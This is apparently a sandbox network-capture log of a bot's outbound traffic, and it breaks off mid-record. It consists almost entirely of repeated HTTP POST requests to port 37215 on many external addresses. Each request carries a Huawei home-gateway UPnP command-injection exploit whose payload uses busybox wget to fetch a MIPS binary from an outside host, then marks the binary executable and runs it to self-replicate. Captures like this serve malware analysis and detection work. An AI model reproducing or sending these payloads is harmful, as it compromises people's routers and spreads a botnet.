Jul 20, 2024 23:00:59.020131111 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.13	35902	41.128.69.214	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020164013 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.13	56530	157.178.20.242	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020174980 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.13	34008	197.39.121.171	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020188093 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.13	38858	41.209.60.208	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020190954 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.13	44962	197.6.247.149	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020227909 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.13	44316	197.21.88.67	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020287991 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.13	40876	157.40.102.40	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020319939 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.13	42776	197.245.35.233	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020328045 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.13	44478	41.185.235.4	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020375013 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.13	50918	157.245.110.242	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020375013 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 